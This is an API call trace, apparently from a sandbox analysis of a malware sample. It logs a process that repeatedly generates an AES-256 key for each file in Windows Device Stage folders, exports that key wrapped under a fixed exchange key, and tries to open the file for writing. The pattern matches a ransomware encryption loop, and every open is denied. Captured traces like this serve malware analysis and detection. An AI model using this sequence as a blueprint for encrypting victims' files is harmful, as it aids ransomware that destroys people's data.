	[0129.624] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png")) returned 0x20
	[0129.625] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0129.625] GetLastError () returned 0x5
	[0129.625] CryptDestroyKey (hKey=0x17c83b0) returned 1
	[0129.625] GetProcessHeap () returned 0x1720000
	[0129.625] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ca48 | out: hHeap=0x1720000) returned 1
	[0129.625] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90) returned 1
	[0129.625] CryptGenKey (in: hProv=0x176b798, Algid=0x6610, dwFlags=0x1, phKey=0x6b53030 | out: phKey=0x6b53030*=0x17c83b0) returned 1
	[0129.625] CryptExportKey (in: hKey=0x17c83b0, hExpKey=0x175e8b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b53034, pdwDataLen=0x35ffa54 | out: pbData=0x6b53034*, pdwDataLen=0x35ffa54*=0x20c) returned 1
	[0129.626] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml")) returned 0x20
	[0129.627] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0129.627] GetLastError () returned 0x5
	[0129.627] CryptDestroyKey (hKey=0x17c83b0) returned 1
	[0129.627] GetProcessHeap () returned 0x1720000
	[0129.627] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180cb20 | out: hHeap=0x1720000) returned 1
	[0129.627] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90) returned 1
	[0129.627] CryptGenKey (in: hProv=0x176b798, Algid=0x6610, dwFlags=0x1, phKey=0x6b53708 | out: phKey=0x6b53708*=0x17c8270) returned 1
	[0129.627] CryptExportKey (in: hKey=0x17c8270, hExpKey=0x175e8b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b5370c, pdwDataLen=0x35ffa54 | out: pbData=0x6b5370c*, pdwDataLen=0x35ffa54*=0x20c) returned 1
	[0129.628] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png")) returned 0x20
	[0129.629] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0129.629] GetLastError () returned 0x5
	[0129.629] CryptDestroyKey (hKey=0x17c8270) returned 1
	[0129.629] GetProcessHeap () returned 0x1720000
	[0129.629] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181ca78 | out: hHeap=0x1720000) returned 1
	[0129.629] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90) returned 1
	[0129.629] CryptGenKey (in: hProv=0x176b798, Algid=0x6610, dwFlags=0x1, phKey=0x6b51df0 | out: phKey=0x6b51df0*=0x17c8230) returned 1
	[0129.629] CryptExportKey (in: hKey=0x17c8230, hExpKey=0x175e8b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b51df4, pdwDataLen=0x35ffa54 | out: pbData=0x6b51df4*, pdwDataLen=0x35ffa54*=0x20c) returned 1
	[0129.630] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png")) returned 0x20
	[0129.631] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0129.631] GetLastError () returned 0x5
	[0129.631] CryptDestroyKey (hKey=0x17c8230) returned 1
	[0129.631] GetProcessHeap () returned 0x1720000
	[0129.631] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181d298 | out: hHeap=0x1720000) returned 1
	[0129.631] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90) returned 1
	[0129.631] CryptGenKey (in: hProv=0x176b798, Algid=0x6610, dwFlags=0x1, phKey=0x6b52280 | out: phKey=0x6b52280*=0x17c8430) returned 1
	[0129.631] CryptExportKey (in: hKey=0x17c8430, hExpKey=0x175e8b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b52284, pdwDataLen=0x35ffa54 | out: pbData=0x6b52284*, pdwDataLen=0x35ffa54*=0x20c) returned 1
	[0129.632] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png")) returned 0x20
	[0129.632] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0129.633] GetLastError () returned 0x5
	[0129.633] CryptDestroyKey (hKey=0x17c8430) returned 1
	[0129.633] GetProcessHeap () returned 0x1720000
	[0129.633] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180cb20 | out: hHeap=0x1720000) returned 1
	[0129.633] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90) returned 1
	[0129.634] CryptGenKey (in: hProv=0x176b798, Algid=0x6610, dwFlags=0x1, phKey=0x6b52958 | out: phKey=0x6b52958*=0x17c8470) returned 1
	[0129.634] CryptExportKey (in: hKey=0x17c8470, hExpKey=0x175e8b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b5295c, pdwDataLen=0x35ffa54 | out: pbData=0x6b5295c*, pdwDataLen=0x35ffa54*=0x20c) returned 1
	[0129.634] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png")) returned 0x20
	[0129.636] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0129.636] GetLastError () returned 0x5
	[0129.636] CryptDestroyKey (hKey=0x17c8470) returned 1
	[0129.636] GetProcessHeap () returned 0x1720000
	[0129.636] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ca48 | out: hHeap=0x1720000) returned 1
	[0129.636] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90) returned 1
	[0129.636] CryptGenKey (in: hProv=0x176b798, Algid=0x6610, dwFlags=0x1, phKey=0x6b52958 | out: phKey=0x6b52958*=0x17c8570) returned 1
	[0129.636] CryptExportKey (in: hKey=0x17c8570, hExpKey=0x175e8b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b5295c, pdwDataLen=0x35ffa54 | out: pbData=0x6b5295c*, pdwDataLen=0x35ffa54*=0x20c) returned 1
	[0129.637] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml")) returned 0x20
	[0129.637] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0129.637] GetLastError () returned 0x5
	[0129.637] CryptDestroyKey (hKey=0x17c8570) returned 1
	[0129.637] GetProcessHeap () returned 0x1720000
	[0129.637] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ca48 | out: hHeap=0x1720000) returned 1
	[0129.637] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90) returned 1
	[0129.637] CryptGenKey (in: hProv=0x176b798, Algid=0x6610, dwFlags=0x1, phKey=0x6b53030 | out: phKey=0x6b53030*=0x17c8570) returned 1
	[0129.637] CryptExportKey (in: hKey=0x17c8570, hExpKey=0x175e8b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b53034, pdwDataLen=0x35ffa54 | out: pbData=0x6b53034*, pdwDataLen=0x35ffa54*=0x20c) returned 1
	[0129.638] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png")) returned 0x20
	[0129.638] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0129.638] GetLastError () returned 0x5
	[0129.638] CryptDestroyKey (hKey=0x17c8570) returned 1
	[0129.638] GetProcessHeap () returned 0x1720000
	[0129.638] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ca48 | out: hHeap=0x1720000) returned 1
	[0129.639] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90) returned 1
	[0129.641] CryptGenKey (in: hProv=0x176b798, Algid=0x6610, dwFlags=0x1, phKey=0x6b51ba8 | out: phKey=0x6b51ba8*=0x17c8230) returned 1
	[0129.641] CryptExportKey (in: hKey=0x17c8230, hExpKey=0x175e8b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b51bac, pdwDataLen=0x35ffa54 | out: pbData=0x6b51bac*, pdwDataLen=0x35ffa54*=0x20c) returned 1
	[0129.642] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\resource.xml")) returned 0x20
	[0129.643] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\resource.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0129.643] GetLastError () returned 0x5
	[0129.643] CryptDestroyKey (hKey=0x17c8230) returned 1
	[0129.644] GetProcessHeap () returned 0x1720000
	[0129.644] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17337d0 | out: hHeap=0x1720000) returned 1
	[0129.644] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90) returned 1
	[0129.644] CryptGenKey (in: hProv=0x176b798, Algid=0x6610, dwFlags=0x1, phKey=0x6b52038 | out: phKey=0x6b52038*=0x17c80f0) returned 1
	[0129.644] CryptExportKey (in: hKey=0x17c80f0, hExpKey=0x175e8b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b5203c, pdwDataLen=0x35ffa54 | out: pbData=0x6b5203c*, pdwDataLen=0x35ffa54*=0x20c) returned 1
	[0129.645] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico")) returned 0x20
	[0129.645] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0129.645] GetLastError () returned 0x5
	[0129.645] CryptDestroyKey (hKey=0x17c80f0) returned 1
	[0129.645] GetProcessHeap () returned 0x1720000
	[0129.645] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181cb48 | out: hHeap=0x1720000) returned 1
	[0129.645] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90) returned 1
	[0129.646] CryptGenKey (in: hProv=0x176b798, Algid=0x6610, dwFlags=0x1, phKey=0x6b534c0 | out: phKey=0x6b534c0*=0x17c8370) returned 1
	[0129.646] CryptExportKey (in: hKey=0x17c8370, hExpKey=0x175e8b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b534c4, pdwDataLen=0x35ffa54 | out: pbData=0x6b534c4*, pdwDataLen=0x35ffa54*=0x20c) returned 1
	[0129.646] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico")) returned 0x20
	[0129.647] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0129.647] GetLastError () returned 0x5
	[0129.647] CryptDestroyKey (hKey=0x17c8370) returned 1
	[0129.647] GetProcessHeap () returned 0x1720000
	[0129.647] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181d368 | out: hHeap=0x1720000) returned 1
	[0129.647] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90) returned 1
	[0129.647] CryptGenKey (in: hProv=0x176b798, Algid=0x6610, dwFlags=0x1, phKey=0x6b51df0 | out: phKey=0x6b51df0*=0x17c8230) returned 1
	[0129.647] CryptExportKey (in: hKey=0x17c8230, hExpKey=0x175e8b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b51df4, pdwDataLen=0x35ffa54 | out: pbData=0x6b51df4*, pdwDataLen=0x35ffa54*=0x20c) returned 1
	[0129.648] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico")) returned 0x20
	[0129.648] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0129.648] GetLastError () returned 0x5
	[0129.648] CryptDestroyKey (hKey=0x17c8230) returned 1
	[0129.648] GetProcessHeap () returned 0x1720000
	[0129.648] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181d028 | out: hHeap=0x1720000) returned 1
	[0129.648] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90) returned 1
	[0129.648] CryptGenKey (in: hProv=0x176b798, Algid=0x6610, dwFlags=0x1, phKey=0x6b53030 | out: phKey=0x6b53030*=0x17c85b0) returned 1
	[0129.648] CryptExportKey (in: hKey=0x17c85b0, hExpKey=0x175e8b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b53034, pdwDataLen=0x35ffa54 | out: pbData=0x6b53034*, pdwDataLen=0x35ffa54*=0x20c) returned 1
	[0129.649] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml")) returned 0x20
	[0129.649] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0129.649] GetLastError () returned 0x5
	[0129.649] CryptDestroyKey (hKey=0x17c85b0) returned 1
	[0129.649] GetProcessHeap () returned 0x1720000
	[0129.649] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181ce88 | out: hHeap=0x1720000) returned 1
	[0129.649] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90) returned 1
	[0129.649] CryptGenKey (in: hProv=0x176b798, Algid=0x6610, dwFlags=0x1, phKey=0x6b53278 | out: phKey=0x6b53278*=0x17c80b0) returned 1
	[0129.649] CryptExportKey (in: hKey=0x17c80b0, hExpKey=0x175e8b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b5327c, pdwDataLen=0x35ffa54 | out: pbData=0x6b5327c*, pdwDataLen=0x35ffa54*=0x20c) returned 1
	[0129.650] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico")) returned 0x20
	[0129.650] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0129.650] GetLastError () returned 0x5
	[0129.650] CryptDestroyKey (hKey=0x17c80b0) returned 1
	[0129.650] GetProcessHeap () returned 0x1720000
	[0129.650] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181c4c8 | out: hHeap=0x1720000) returned 1
	[0129.650] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90) returned 1
	[0129.651] CryptGenKey (in: hProv=0x176b798, Algid=0x6610, dwFlags=0x1, phKey=0x6b53de0 | out: phKey=0x6b53de0*=0x17c8570) returned 1
	[0129.651] CryptExportKey (in: hKey=0x17c8570, hExpKey=0x175e8b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b53de4, pdwDataLen=0x35ffa54 | out: pbData=0x6b53de4*, pdwDataLen=0x35ffa54*=0x20c) returned 1
	[0129.651] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico")) returned 0x20
	[0129.651] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0129.652] GetLastError () returned 0x5
	[0129.652] CryptDestroyKey (hKey=0x17c8570) returned 1
	[0129.652] GetProcessHeap () returned 0x1720000
	[0129.652] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181c4c8 | out: hHeap=0x1720000) returned 1
	[0129.652] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90) returned 1
	[0129.652] CryptGenKey (in: hProv=0x176b798, Algid=0x6610, dwFlags=0x1, phKey=0x6b53950 | out: phKey=0x6b53950*=0x17c8570) returned 1
	[0129.652] CryptExportKey (in: hKey=0x17c8570, hExpKey=0x175e8b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b53954, pdwDataLen=0x35ffa54 | out: pbData=0x6b53954*, pdwDataLen=0x35ffa54*=0x20c) returned 1
	[0129.653] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico")) returned 0x20
	[0129.653] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0129.653] GetLastError () returned 0x5
	[0129.653] CryptDestroyKey (hKey=0x17c8570) returned 1
	[0129.653] GetProcessHeap () returned 0x1720000
	[0129.653] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6510b68 | out: hHeap=0x1720000) returned 1
